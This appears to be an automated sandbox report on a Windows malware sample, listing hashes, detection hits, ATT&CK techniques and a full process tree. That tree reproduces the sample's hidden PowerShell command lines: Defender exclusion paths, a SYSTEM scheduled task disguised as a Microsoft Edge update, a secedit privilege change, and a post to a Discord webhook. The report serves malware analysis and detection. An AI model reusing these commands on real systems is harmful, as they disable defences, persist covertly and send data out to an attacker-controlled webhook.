f5fd1b74fe75f05b9b05fea5be3940789cd81a4ac209b61ebf3e941e50f40328

Analysis

max time kernel
150s
max time network
149s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260709-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
20/07/2026, 17:17

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
2026-07-20_95e5612310f858ceba0d3ab20faad4c6_cobalt-strike_coinminer_glassworm_icedid_njrat_satacom_stealc.exe
Size 18.2MB
Sample260720-vt64ksa15s
SHA256 f5fd1b74fe75f05b9b05fea5be3940789cd81a4ac209b61ebf3e941e50f40328
MD5 95e5612310f858ceba0d3ab20faad4c6
SHA1 01c45d806902b27b08b871dc2a680290d42d668c
SHA512 76cd88ed0894e738cbcd5a71289a7f2fc0ddaf6b2e5c7daf97413e55777ede4931eabdd7c6efa087e150c267d9ff4b99ab2da2ba58525cd2e75d6d8d152f9bae
SSDEEP 196608:p5ws5b2nNyMyr2kUwmAcfp8xVuGIkDNyNnbdN34l:Isx6NyvmaxVFLyN5d
TLSH
T1C3179DA8991C4A3AE9D0B07C98A717434BF27F1E1210FEE165F8CC7F6A5B1A4253D1C6
MD5 SHA1 SHA512 SSDEEP TLSH

Score

9^/10

execution persistence

Malware Config

Signatures

Detects executables Discord URL observed in first stage droppers 3 IoCs

resource	yara_rule
behavioral2/files/0x001400000001c462-1.dat	INDICATOR_SUSPICIOUS_EXE_DiscordURL
behavioral2/files/0x000d00000001c54d-8.dat	INDICATOR_SUSPICIOUS_EXE_DiscordURL
behavioral2/files/0x001400000001c552-50.dat	INDICATOR_SUSPICIOUS_EXE_DiscordURL

Detects executables containing URLs to raw contents of a Github gist 3 IoCs

resource	yara_rule
behavioral2/files/0x001400000001c462-1.dat	INDICATOR_SUSPICIOUS_EXE_RawGitHub_URL
behavioral2/files/0x000d00000001c54d-8.dat	INDICATOR_SUSPICIOUS_EXE_RawGitHub_URL
behavioral2/files/0x001400000001c552-50.dat	INDICATOR_SUSPICIOUS_EXE_RawGitHub_URL

Badlisted process makes network request 5 IoCs

Network request originating from process or tool commonly abused by malware.

flow	pid	Process
6	1496	powershell.exe
12	1496	powershell.exe
14	1496	powershell.exe
15	1496	powershell.exe
17	1496	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 13 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
1496	powershell.exe
5476	powershell.exe
2072	powershell.exe
1696	powershell.exe
3060	powershell.exe
248	powershell.exe
3420	powershell.exe
5620	powershell.exe
4416	powershell.exe
5476	powershell.exe
2072	powershell.exe
5620	powershell.exe
248	powershell.exe

Executes dropped EXE 6 IoCs

pid	Process
3468	GoonHUB.exe
4604	goon_setup_x64.exe
1852	MicrosoftEdgeUpdate.exe
4516	MicrosoftEdgeUpdate.exe
2976	MicrosoftEdgeUpdate.exe
572	MicrosoftEdgeUpdate.exe

Contacts third-party web service commonly abused for C2 1 TTPs 1 IoCs

Legitimate web (hosting) services can be abused by malware authors to host malware or C2s.

Web Service

T1102

flow	ioc
1	discord.com

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Modifies registry class 3 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-552508041-2681165170-3229858294-1000_Classes\Applications\GoonHUB.exe	GoonHUB.exe
Key created	\REGISTRY\USER\S-1-5-21-552508041-2681165170-3229858294-1000_Classes\Applications	GoonHUB.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-552508041-2681165170-3229858294-1000_Classes\Applications\GoonHUB.exe\FriendlyAppName = "GoonHUB"	GoonHUB.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
1496	powershell.exe
1496	powershell.exe
1496	powershell.exe
248	powershell.exe
248	powershell.exe
248	powershell.exe
5476	powershell.exe
5476	powershell.exe
5476	powershell.exe
4224	2026-07-20_95e5612310f858ceba0d3ab20faad4c6_cobalt-strike_coinminer_glassworm_icedid_njrat_satacom_stealc.exe
4224	2026-07-20_95e5612310f858ceba0d3ab20faad4c6_cobalt-strike_coinminer_glassworm_icedid_njrat_satacom_stealc.exe
2072	powershell.exe
2072	powershell.exe
2072	powershell.exe
3420	powershell.exe
3420	powershell.exe
3420	powershell.exe
5620	powershell.exe
5620	powershell.exe
5620	powershell.exe
4604	goon_setup_x64.exe
4604	goon_setup_x64.exe
1852	MicrosoftEdgeUpdate.exe
1852	MicrosoftEdgeUpdate.exe
1696	powershell.exe
1696	powershell.exe
3060	powershell.exe
3060	powershell.exe
1696	powershell.exe
3060	powershell.exe
4516	MicrosoftEdgeUpdate.exe
4516	MicrosoftEdgeUpdate.exe
1852	MicrosoftEdgeUpdate.exe
1852	MicrosoftEdgeUpdate.exe
4516	MicrosoftEdgeUpdate.exe
4516	MicrosoftEdgeUpdate.exe
4516	MicrosoftEdgeUpdate.exe
4516	MicrosoftEdgeUpdate.exe
1852	MicrosoftEdgeUpdate.exe
1852	MicrosoftEdgeUpdate.exe
4516	MicrosoftEdgeUpdate.exe
4516	MicrosoftEdgeUpdate.exe
4516	MicrosoftEdgeUpdate.exe
4516	MicrosoftEdgeUpdate.exe
1852	MicrosoftEdgeUpdate.exe
1852	MicrosoftEdgeUpdate.exe
4416	powershell.exe
4416	powershell.exe
4516	MicrosoftEdgeUpdate.exe
4416	powershell.exe
4516	MicrosoftEdgeUpdate.exe
4516	MicrosoftEdgeUpdate.exe
4516	MicrosoftEdgeUpdate.exe
1852	MicrosoftEdgeUpdate.exe
1852	MicrosoftEdgeUpdate.exe
4516	MicrosoftEdgeUpdate.exe
4516	MicrosoftEdgeUpdate.exe
4516	MicrosoftEdgeUpdate.exe
4516	MicrosoftEdgeUpdate.exe
1852	MicrosoftEdgeUpdate.exe
1852	MicrosoftEdgeUpdate.exe
4516	MicrosoftEdgeUpdate.exe
4516	MicrosoftEdgeUpdate.exe
4516	MicrosoftEdgeUpdate.exe

Suspicious behavior: GetForegroundWindowSpam 1 IoCs

pid	Process
1852	MicrosoftEdgeUpdate.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	1496	powershell.exe
Token: SeDebugPrivilege	248	powershell.exe
Token: SeIncreaseQuotaPrivilege	248	powershell.exe
Token: SeSecurityPrivilege	248	powershell.exe
Token: SeTakeOwnershipPrivilege	248	powershell.exe
Token: SeLoadDriverPrivilege	248	powershell.exe
Token: SeSystemProfilePrivilege	248	powershell.exe
Token: SeSystemtimePrivilege	248	powershell.exe
Token: SeProfSingleProcessPrivilege	248	powershell.exe
Token: SeIncBasePriorityPrivilege	248	powershell.exe
Token: SeCreatePagefilePrivilege	248	powershell.exe
Token: SeBackupPrivilege	248	powershell.exe
Token: SeRestorePrivilege	248	powershell.exe
Token: SeShutdownPrivilege	248	powershell.exe
Token: SeDebugPrivilege	248	powershell.exe
Token: SeSystemEnvironmentPrivilege	248	powershell.exe
Token: SeRemoteShutdownPrivilege	248	powershell.exe
Token: SeUndockPrivilege	248	powershell.exe
Token: SeManageVolumePrivilege	248	powershell.exe
Token: 33	248	powershell.exe
Token: 34	248	powershell.exe
Token: 35	248	powershell.exe
Token: 36	248	powershell.exe
Token: SeDebugPrivilege	5476	powershell.exe
Token: SeIncreaseQuotaPrivilege	5476	powershell.exe
Token: SeSecurityPrivilege	5476	powershell.exe
Token: SeTakeOwnershipPrivilege	5476	powershell.exe
Token: SeLoadDriverPrivilege	5476	powershell.exe
Token: SeSystemProfilePrivilege	5476	powershell.exe
Token: SeSystemtimePrivilege	5476	powershell.exe
Token: SeProfSingleProcessPrivilege	5476	powershell.exe
Token: SeIncBasePriorityPrivilege	5476	powershell.exe
Token: SeCreatePagefilePrivilege	5476	powershell.exe
Token: SeBackupPrivilege	5476	powershell.exe
Token: SeRestorePrivilege	5476	powershell.exe
Token: SeShutdownPrivilege	5476	powershell.exe
Token: SeDebugPrivilege	5476	powershell.exe
Token: SeSystemEnvironmentPrivilege	5476	powershell.exe
Token: SeRemoteShutdownPrivilege	5476	powershell.exe
Token: SeUndockPrivilege	5476	powershell.exe
Token: SeManageVolumePrivilege	5476	powershell.exe
Token: 33	5476	powershell.exe
Token: 34	5476	powershell.exe
Token: 35	5476	powershell.exe
Token: 36	5476	powershell.exe
Token: SeDebugPrivilege	2072	powershell.exe
Token: SeIncreaseQuotaPrivilege	2072	powershell.exe
Token: SeSecurityPrivilege	2072	powershell.exe
Token: SeTakeOwnershipPrivilege	2072	powershell.exe
Token: SeLoadDriverPrivilege	2072	powershell.exe
Token: SeSystemProfilePrivilege	2072	powershell.exe
Token: SeSystemtimePrivilege	2072	powershell.exe
Token: SeProfSingleProcessPrivilege	2072	powershell.exe
Token: SeIncBasePriorityPrivilege	2072	powershell.exe
Token: SeCreatePagefilePrivilege	2072	powershell.exe
Token: SeBackupPrivilege	2072	powershell.exe
Token: SeRestorePrivilege	2072	powershell.exe
Token: SeShutdownPrivilege	2072	powershell.exe
Token: SeDebugPrivilege	2072	powershell.exe
Token: SeSystemEnvironmentPrivilege	2072	powershell.exe
Token: SeRemoteShutdownPrivilege	2072	powershell.exe
Token: SeUndockPrivilege	2072	powershell.exe
Token: SeManageVolumePrivilege	2072	powershell.exe
Token: 33	2072	powershell.exe

Suspicious use of WriteProcessMemory 22 IoCs

description	pid	Process	procid_target
PID 4224 wrote to memory of 3468	4224	2026-07-20_95e5612310f858ceba0d3ab20faad4c6_cobalt-strike_coinminer_glassworm_icedid_njrat_satacom_stealc.exe	89
PID 3468 wrote to memory of 4604	3468	GoonHUB.exe	91
PID 3468 wrote to memory of 1496	3468	GoonHUB.exe	92
PID 4224 wrote to memory of 248	4224	2026-07-20_95e5612310f858ceba0d3ab20faad4c6_cobalt-strike_coinminer_glassworm_icedid_njrat_satacom_stealc.exe	97
PID 4224 wrote to memory of 5476	4224	2026-07-20_95e5612310f858ceba0d3ab20faad4c6_cobalt-strike_coinminer_glassworm_icedid_njrat_satacom_stealc.exe	100
PID 4224 wrote to memory of 1288	4224	2026-07-20_95e5612310f858ceba0d3ab20faad4c6_cobalt-strike_coinminer_glassworm_icedid_njrat_satacom_stealc.exe	102
PID 4604 wrote to memory of 2072	4604	goon_setup_x64.exe	104
PID 4224 wrote to memory of 3420	4224	2026-07-20_95e5612310f858ceba0d3ab20faad4c6_cobalt-strike_coinminer_glassworm_icedid_njrat_satacom_stealc.exe	106
PID 4604 wrote to memory of 5620	4604	goon_setup_x64.exe	108
PID 4604 wrote to memory of 4624	4604	goon_setup_x64.exe	110
PID 4224 wrote to memory of 5384	4224	2026-07-20_95e5612310f858ceba0d3ab20faad4c6_cobalt-strike_coinminer_glassworm_icedid_njrat_satacom_stealc.exe	113
PID 4224 wrote to memory of 1852	4224	2026-07-20_95e5612310f858ceba0d3ab20faad4c6_cobalt-strike_coinminer_glassworm_icedid_njrat_satacom_stealc.exe	116
PID 4224 wrote to memory of 1696	4224	2026-07-20_95e5612310f858ceba0d3ab20faad4c6_cobalt-strike_coinminer_glassworm_icedid_njrat_satacom_stealc.exe	117
PID 4604 wrote to memory of 3060	4604	goon_setup_x64.exe	118
PID 1696 wrote to memory of 2768	1696	powershell.exe	121
PID 1696 wrote to memory of 5040	1696	powershell.exe	122
PID 4604 wrote to memory of 5964	4604	goon_setup_x64.exe	124
PID 4604 wrote to memory of 2976	4604	goon_setup_x64.exe	126
PID 4604 wrote to memory of 4416	4604	goon_setup_x64.exe	127
PID 4416 wrote to memory of 4716	4416	powershell.exe	129
PID 4416 wrote to memory of 5468	4416	powershell.exe	130
PID 4516 wrote to memory of 572	4516	MicrosoftEdgeUpdate.exe	131

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Users\Admin\AppData\Local\Temp\2026-07-20_95e5612310f858ceba0d3ab20faad4c6_cobalt-strike_coinminer_glassworm_icedid_njrat_satacom_stealc.exe
"C:\Users\Admin\AppData\Local\Temp\2026-07-20_95e5612310f858ceba0d3ab20faad4c6_cobalt-strike_coinminer_glassworm_icedid_njrat_satacom_stealc.exe"
1⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:4224
- C:\Users\Admin\AppData\Local\Temp\GoonHUB.exe
  "C:\Users\Admin\AppData\Local\Temp\GoonHUB.exe"
  2⤵
  - Executes dropped EXE
  - Modifies registry class
  - Suspicious use of WriteProcessMemory
  PID:3468
- - C:\Users\Admin\AppData\Local\Temp\goon_setup_x64.exe
    "C:\Users\Admin\AppData\Local\Temp\goon_setup_x64.exe"
    3⤵
    - Executes dropped EXE
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of WriteProcessMemory
    PID:4604
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp'"
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:2072
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath 'C:\ProgramData\MicrosoftEdgeUpdateTaskMachineCore'"
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      PID:5620
  - - C:\Windows\SYSTEM32\schtasks.exe
      schtasks /end /tn "\Microsoft\Windows\Customer Experience Improvement Program\MicrosoftEdgeUpdateTaskMachineCore"
      4⤵
      PID:4624
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -WindowStyle Hidden -Command "$Action = New-ScheduledTaskAction -Execute '"C:\ProgramData\MicrosoftEdgeUpdateTaskMachineCore\MicrosoftEdgeUpdate.exe"' -Argument '--watcher' -WorkingDirectory '"C:\ProgramData\MicrosoftEdgeUpdateTaskMachineCore"'; $Trigger = New-ScheduledTaskTrigger -Once -At (Get-Date) -RepetitionInterval (New-TimeSpan -Minutes 1) -RepetitionDuration (New-TimeSpan -Days 3650); $Principal = New-ScheduledTaskPrincipal -UserId 'SYSTEM' -LogonType ServiceAccount -RunLevel Highest; $Settings = New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DontStopIfGoingOnBatteries -StartWhenAvailable -MultipleInstances IgnoreNew; $Task = New-ScheduledTask -Action $Action -Trigger $Trigger -Principal $Principal -Settings $Settings; $Task.Author = 'Microsoft Corporation'; Register-ScheduledTask -TaskName '\Microsoft\Windows\Customer Experience Improvement Program\MicrosoftEdgeUpdateTaskMachineCore' -InputObject $Task -Force"
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      PID:3060
  - - C:\Windows\SYSTEM32\schtasks.exe
      schtasks /run /tn "\Microsoft\Windows\Customer Experience Improvement Program\MicrosoftEdgeUpdateTaskMachineCore"
      4⤵
      PID:5964
  - - C:\ProgramData\MicrosoftEdgeUpdateTaskMachineCore\MicrosoftEdgeUpdate.exe
      "C:\ProgramData\MicrosoftEdgeUpdateTaskMachineCore\MicrosoftEdgeUpdate.exe" --monitor
      4⤵
      Executes dropped EXE
      PID:2976
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -WindowStyle Hidden -Command "$cfg = \"$env:temp\secpol.cfg\"; secedit /export /cfg $cfg /quiet; $c = Get-Content $cfg; $hasPriv = $false; $newC = @(); foreach ($l in $c) { if ($l -match '^SeLockMemoryPrivilege') { $hasPriv = $true; if ($l -notmatch '\*S-1-5-32-544') { $l = $l + ',*S-1-5-32-544' } }; $newC += $l }; if (-not $hasPriv) { for ($i=0; $i -lt $newC.Length; $i++) { if ($newC[$i] -match '^\[Privilege Rights\]') { $newC = $newC[0..$i] + 'SeLockMemoryPrivilege = *S-1-5-32-544' + $newC[($i+1)..($newC.Length-1)]; break } } }; Set-Content -Path $cfg -Value $newC; secedit /configure /db $env:windir\security\database\secedit.sdb /cfg $cfg /areas USER_RIGHTS /quiet"
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of WriteProcessMemory
      PID:4416
    - - C:\Windows\system32\SecEdit.exe
        
        "C:\Windows\system32\SecEdit.exe" /export /cfg C:\Users\Admin\AppData\Local\Temp\secpol.cfg /quiet
        5⤵
        
        PID:4716
    - - C:\Windows\system32\SecEdit.exe
        
        "C:\Windows\system32\SecEdit.exe" /configure /db C:\Windows\security\database\secedit.sdb /cfg C:\Users\Admin\AppData\Local\Temp\secpol.cfg /areas USER_RIGHTS /quiet
        5⤵
        
        PID:5468
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden -Command "Invoke-RestMethod -Uri 'https://discord.com/api/webhooks/1523143586483273789/-Wpny8DkL8jybQu31X_wyW1bMZR1TeJK9mDDNkM5R9R-tYO-U52vVryHmDNiw6uVjfWh' -Method Post -Body ([System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('eyJjb250ZW50IjogIvCfmoAgKipHb29uSFVCLmV4ZSoqIHZpZW50IGQgZXRyZSBsYW5jZSBwYXIgbCB1dGlsaXNhdGV1ciAqKkFkbWluKiogKFBDOiBZUldLSkxEVSkifQ=='))) -ContentType 'application/json'"
    3⤵
    - Badlisted process makes network request
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:1496
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp'"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:248
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath 'C:\ProgramData\MicrosoftEdgeUpdateTaskMachineCore'"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:5476
- C:\Windows\SYSTEM32\schtasks.exe
  schtasks /end /tn "\Microsoft\Windows\Customer Experience Improvement Program\MicrosoftEdgeUpdateTaskMachineCore"
  2⤵
  PID:1288
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -WindowStyle Hidden -Command "$Action = New-ScheduledTaskAction -Execute '"C:\ProgramData\MicrosoftEdgeUpdateTaskMachineCore\MicrosoftEdgeUpdate.exe"' -Argument '--watcher' -WorkingDirectory '"C:\ProgramData\MicrosoftEdgeUpdateTaskMachineCore"'; $Trigger = New-ScheduledTaskTrigger -Once -At (Get-Date) -RepetitionInterval (New-TimeSpan -Minutes 1) -RepetitionDuration (New-TimeSpan -Days 3650); $Principal = New-ScheduledTaskPrincipal -UserId 'SYSTEM' -LogonType ServiceAccount -RunLevel Highest; $Settings = New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DontStopIfGoingOnBatteries -StartWhenAvailable -MultipleInstances IgnoreNew; $Task = New-ScheduledTask -Action $Action -Trigger $Trigger -Principal $Principal -Settings $Settings; $Task.Author = 'Microsoft Corporation'; Register-ScheduledTask -TaskName '\Microsoft\Windows\Customer Experience Improvement Program\MicrosoftEdgeUpdateTaskMachineCore' -InputObject $Task -Force"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  PID:3420
- C:\Windows\SYSTEM32\schtasks.exe
  schtasks /run /tn "\Microsoft\Windows\Customer Experience Improvement Program\MicrosoftEdgeUpdateTaskMachineCore"
  2⤵
  PID:5384
- C:\ProgramData\MicrosoftEdgeUpdateTaskMachineCore\MicrosoftEdgeUpdate.exe
  "C:\ProgramData\MicrosoftEdgeUpdateTaskMachineCore\MicrosoftEdgeUpdate.exe" --monitor
  2⤵
  - Executes dropped EXE
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious behavior: GetForegroundWindowSpam
  PID:1852
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -WindowStyle Hidden -Command "$cfg = \"$env:temp\secpol.cfg\"; secedit /export /cfg $cfg /quiet; $c = Get-Content $cfg; $hasPriv = $false; $newC = @(); foreach ($l in $c) { if ($l -match '^SeLockMemoryPrivilege') { $hasPriv = $true; if ($l -notmatch '\*S-1-5-32-544') { $l = $l + ',*S-1-5-32-544' } }; $newC += $l }; if (-not $hasPriv) { for ($i=0; $i -lt $newC.Length; $i++) { if ($newC[$i] -match '^\[Privilege Rights\]') { $newC = $newC[0..$i] + 'SeLockMemoryPrivilege = *S-1-5-32-544' + $newC[($i+1)..($newC.Length-1)]; break } } }; Set-Content -Path $cfg -Value $newC; secedit /configure /db $env:windir\security\database\secedit.sdb /cfg $cfg /areas USER_RIGHTS /quiet"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of WriteProcessMemory
  PID:1696
- - C:\Windows\system32\SecEdit.exe
    "C:\Windows\system32\SecEdit.exe" /export /cfg C:\Users\Admin\AppData\Local\Temp\secpol.cfg /quiet
    3⤵
    PID:2768
- - C:\Windows\system32\SecEdit.exe
    "C:\Windows\system32\SecEdit.exe" /configure /db C:\Windows\security\database\secedit.sdb /cfg C:\Users\Admin\AppData\Local\Temp\secpol.cfg /areas USER_RIGHTS /quiet
    3⤵
    PID:5040

C:\ProgramData\MicrosoftEdgeUpdateTaskMachineCore\MicrosoftEdgeUpdate.exe
"C:\ProgramData\MicrosoftEdgeUpdateTaskMachineCore\MicrosoftEdgeUpdate.exe" --watcher
1⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:4516
- C:\ProgramData\MicrosoftEdgeUpdateTaskMachineCore\MicrosoftEdgeUpdate.exe
  "C:\ProgramData\MicrosoftEdgeUpdateTaskMachineCore\MicrosoftEdgeUpdate.exe" --mine
  2⤵
  - Executes dropped EXE
  PID:572

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Web Service

T1102

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

MicrosoftEdgeUpdate.exe.old

Path C:\ProgramData\MicrosoftEdgeUpdateTaskMachineCore\MicrosoftEdgeUpdate.exe.old
Size 18.2MB
SHA256 f5fd1b74fe75f05b9b05fea5be3940789cd81a4ac209b61ebf3e941e50f40328
MD5 95e5612310f858ceba0d3ab20faad4c6
SHA1 01c45d806902b27b08b871dc2a680290d42d668c
SHA512 76cd88ed0894e738cbcd5a71289a7f2fc0ddaf6b2e5c7daf97413e55777ede4931eabdd7c6efa087e150c267d9ff4b99ab2da2ba58525cd2e75d6d8d152f9bae
SSDEEP 196608:p5ws5b2nNyMyr2kUwmAcfp8xVuGIkDNyNnbdN34l:Isx6NyvmaxVFLyN5d
TLSH
T1C3179DA8991C4A3AE9D0B07C98A717434BF27F1E1210FEE165F8CC7F6A5B1A4253D1C6
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

ModuleAnalysisCache

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache
Size 67KB
SHA256 96952b58e7507bfbf6b1edf838d41182ae4f94e983572fa0c037be46d4ab1b05
MD5 b65d38126d60f6776d0fee761697a8ab
SHA1 fce1b1fa5ee6c386768d73e767a6bf9a04c23b30
SHA512 100a082250af816628e48f6949a2068bada9998b7bd29fa7408af7fd8d4425d03c85b92e6e2e4c08dc55e6bb56b4f31aedeaf3f4ac201e80d2cdac77353c5dd6
SSDEEP 1536:mKLg0mYo2hOovpfKQVGflJdpHYWh4iUx9R40i71Yi9MQyPcMrxoi3jiRjdvRwa5Z:mKLg0mYo2hOovpfKQVGflJd9YWqiU9Rg
TLSH
T11C636192E9204E75E1A66F3EF15622627C30394690F8113211DC25EFA987D970B1FBFE
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download